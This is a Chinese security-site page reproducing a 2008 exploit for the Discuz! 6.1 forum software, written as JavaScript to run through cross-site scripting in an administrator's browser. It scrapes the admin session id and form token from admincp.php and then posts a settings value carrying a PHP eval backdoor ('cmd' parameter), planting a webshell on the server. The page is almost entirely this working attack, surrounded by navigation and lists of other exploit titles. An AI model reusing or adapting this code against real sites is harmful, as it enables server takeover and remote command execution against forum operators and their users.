首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Discuz! 6.1 xss2webshell[SODB-2008-10] Exploit
来源:www.80vul.com 作者:80vul-A 发布时间:2008-11-27  
/*
#############################################
Discuz! 6.1 xss2webshell[SODB-2008-10]  Exploit
by 80vul-A
team: http://www.80vul.com
#############################################
*/
//目标url
var siteurl='http://www.80vul.com/Discuz_6.1.0/';

var request = false;
        if(window.XMLHttpRequest) {
            request = new XMLHttpRequest();
            if(request.overrideMimeType) {
                request.overrideMimeType('text/xml');
            }
        } else if(window.ActiveXObject) {
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
            for(var i=0; i<versions.length; i++) {
                try {
                    request = new ActiveXObject(versions[i]);
                } catch(e) {}
            }
        }
xmlhttp=request;

//得到sid
xmlhttp.open("GET", siteurl+"admincp.php?frames=yes", false);
//firefox3 不可以用xmlhttp.send(); http://hi.baidu.com/aullik5/blog/item/fd0648fa4ef44762034f564e.html
//thx luoluo@ph4nt0m.org
xmlhttp.send(null);
var echo = xmlhttp.responseText;
var reg = /action=home&sid=([\w\d]+)\" /i;
var arr=reg.exec(echo);
if(!arr){
//没有登陆后台
//alert(document.cookie);
}else{
var sid=arr[1];
}

//得到formhash
xmlhttp.open("GET", siteurl+"admincp.php?action=home&sid="+sid, false);
xmlhttp.send(null);
var echo = xmlhttp.responseText;
var reg = / name=\"formhash\" value=\"([\w\d]+)\"/i;
var arr=reg.exec(echo);
window.onerror=function(){return true;}
var formhash=arr[1];
//alert(formhash);

//通过SODB-2008-10写入webshell
//http://www.80vul.com/dzvul/sodb/10/sodb-2008-10.txt
xmlhttp.open("POST", siteurl+"admincp.php?action=runwizard&step=3", false);
xmlhttp.setRequestHeader("Referer", siteurl);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(unescape("settingsnew%5Bbbname%5D=%3C%3F@eval($_POST[cmd])%3A%3F%3E&settingsnew%5Bsitename%5D=Comsenz+Inc.&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=+%CF%C2%D2%BB%B2%BD+&formhash="+formhash));

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·LoveCMS 1.6.2 Final (Download
·Exploits Total Video Player (v
·Exploits Amaya (id) Remote Sta
·Star Articles 6.0 Remote Blind
·Exploits Amaya (URL Bar) Remot
·i.Scribe SMTP Client <= 2.00b
·Clean CMS 1.5 (full_txt.php id
·BaSiC-CMS (acm2000.mdb) Remote
·Google Chrome Browser MetaChar
·Basic PHP CMS (index.php id) B
·Google Chrome MetaCharacter UR
·Microsoft Office Communicator
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved